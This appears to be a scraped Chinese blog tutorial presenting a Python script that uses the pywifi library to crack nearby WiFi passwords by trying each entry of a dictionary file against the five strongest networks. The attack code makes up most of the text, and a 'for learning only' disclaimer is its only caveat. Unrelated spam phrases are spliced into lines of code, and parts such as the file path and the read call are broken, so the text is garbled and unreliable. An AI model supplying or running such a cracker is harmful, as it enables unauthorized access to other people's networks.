Python利用字典破解WIFI密码的方法
Python利⽤字典破解WIFI密码的⽅法
最近看到⽹上的⼀些作品,然后进⾏⼀些完善。只是⽤于学习,不要去⼲坏事哦。程序来源于⽹,我只是做了⼀些优化。当然这种⽅法破解还是有点慢哦。我⽤的python 3.6.5
既然要破解wifi,那么连接wifi的模块⾸先要有的,我们要导⼊pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能⽤,听说这个wifi模块被停⽤了,所以⼤家如果通过pip安装的不⾏,那么就下载我提供的。
本地安装⽅法:
1)下载解压好以后,我们⽤cmd命令⾏,进⼊到你的⽂件⽬录
2)使⽤命令pip install . 注意了(install后⾯有个点)
3)然后就会安装了,等⼀会就可以了。
程序先查附近的WIFI,然后按信号强度进⾏排序,然后只取前wificount=5个信号好的。
import pywifi
from pywifi import const #引⽤⼀些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi=pywifi.PyWiFi()#抓取⽹卡接⼝
ifaces=wifi.interfaces()[0]#获取⽹卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list.append((data.ssid, data.signal))
sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
郭敬明的经典语录if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)
def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取⽹卡接⼝
ifaces=wifi.interfaces()[0]#获取⽹卡
ifaces.disconnect()#断开⽆限⽹卡连接
profile=pywifi.Profile()#创建wifi连接⽂件
profile.ssid=ssidname#定义wifissid
profile.auth=const.AUTH_ALG_OPEN#⽹卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
大宅门演员表profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
profile.key=password #wifi密码
tmp_profile=ifaces.add_network_profile(profile)#加载配置⽂件
time.sleep(5)#5秒内能否连接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
犹豫的反义词...
#print("[-]WiFi connection failure!")
足球俱乐部世界排名
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就⾏了。
if(len(ssidlist) is not 0):
path="
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =adline()
password=password.strip('\n')
if not password:
break
for item in result: #把已经到密码的WIFI从查询中删除。
for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把到的WIFI密码保存起来
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
教师节贺卡的制作方法print('Fail','Current WifiName:',ssidname,'Current Password:',password)
except:
continue
files.close()
print("\n","WIFI结果列表:")
for item in result: #把已经到密码的WIFI从查询中删除。
print("")
print("⽆线:",item[0])
print("密码:",item[1])
else:
print("没有到WIFI信号,请重试。")
if __name__ == '__main__':
main()
总结
以上就是这篇⽂章的全部内容了,希望本⽂的内容对⼤家的学习或者⼯作具有⼀定的参考学习价值,谢谢⼤家对的⽀持。如果你想了解更多相关内容请查看下⾯相关链接2018山东高考成绩查询

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。